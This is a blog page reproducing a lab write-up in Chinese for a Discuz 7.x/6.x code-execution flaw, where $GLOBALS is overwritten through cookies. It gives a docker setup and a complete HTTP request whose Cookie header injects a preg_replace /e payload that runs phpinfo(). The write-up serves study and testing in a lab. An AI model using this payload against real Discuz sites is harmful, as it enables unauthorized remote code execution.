首页 > 其他分享 >Discuz 7.x/6.x 全局变量防御绕过导致代码执行

Discuz 7.x/6.x 全局变量防御绕过导致代码执行

时间:2022-11-09 10:01:44浏览次数:81  
标签:phpinfo smilies Discuz GLOBALS DCACHE 代码执行 Cookie 全局变量

由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。

具体原理请参考:

漏洞环境

执行如下命令启动Discuz 7.2:

docker-compose up -d

启动后,访问http://your-ip:8080/install/来安装discuz,数据库地址填写db,数据库名为discuz,数据库账号密码均为root

漏洞复现

安装成功后,直接找一个已存在的帖子,向其发送数据包,并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close

 

 

可见,phpinfo已成功执行

网上文章说需要一个带表情评论的帖子,实际测试发现并不需要,这块仍需阅读代码来解释原因。

标签:phpinfo,smilies,Discuz,GLOBALS,DCACHE,代码执行,Cookie,全局变量
From: https://www.cnblogs.com/lyh1/p/16872592.html

相关文章

  • Discuz! 安装插件和风格出现错误提示
    1- 环境  WindowsXp  PHP5.2.5  Apache2.0.552- 解析XML  2-1 什么是DOM  DOM(DocumentObjectModel),是根据W3C的DOM规范建立的一种与浏览器,平台,语言无关的......
  • addEventListener 监听不到 改变后的全局变量的值
    问题原因:addEventListener和data的作用域不一样,以及 addEventListener里面拿的永远是最初的数据。解决方法:用ref来存储数据,让需要的数据保持最新需求:监听页面点......
  • vue项目中定义全局变量、全局函数
    在vue项目中,我们经常会遇到要在多个页面组件中都要使用的一个变量或者函数,比如说需要配置的ip地址,在生产环境和测试环境不一样就需要修改。因此我们可以定义一个全局变量来......
  • provide-inject-InjectionKey 标注类型配置全局变量
    官网TypeScript与组合式API|Vue.js(vuejs.org)文章provide-inject-InjectionKey标注类型配置全局变量-掘金(juejin.cn)provide-inject-InjectionKey标注类型......
  • VsCode预定义全局变量使用
    VsCode预定义全局变量使用在VsCode的launch.json和tasks.json中我们常用到一些全局变量,同时为了修改配置文件方便,还想自定义一些全局变量,这里做一下介绍。预定义全局变量......
  • 网络安全漏洞分析远程代码执行
    介绍ApacheFlume是一个分布式的,可靠的,并且可用于高效地收集,汇总和移动大量日志数据的软件。它具有基于流数据流的简单而灵活的体系结构。它具有可调的可靠性机制以及许......
  • 局部变量和全局变量
    局部变量就是局部范围内有效的变量局部变量的定义位置:函数开头中间,以及形式参数。优点:再执行结束后会释放内存;全局变量就是在定义以下都有效的变量全局变量......
  • 测量业务层接口执行效率(万次核心代码执行效率)
    1、例子  2、分析:(1)业务功能:业务层接口执行前后分别记录时间,求差值得到执行效率;(2)通知类型选择前后均可以增强的类型——环绕通知。 补充:当前测试的接口执行效率......
  • 前端js代码执行顺序
    个人理解,方便记忆js单线程,自上而下执行先走一遍主代码块,遇到谁调用先执行谁,特殊(遇到setInterval,setTimeout直接放最后执行),(遇到promise,async和await内部内容直接执行,但pro......
  • JavaScript全局变量、局部变量的表示方法与例子
    全局变量:有两种表示方法:1.在函数外定义的变量;2.在函数内但没有使用var关键字声明的变量。表示法1例子:varcarName="Volvo";//此处可调用carName变量functionmyFun......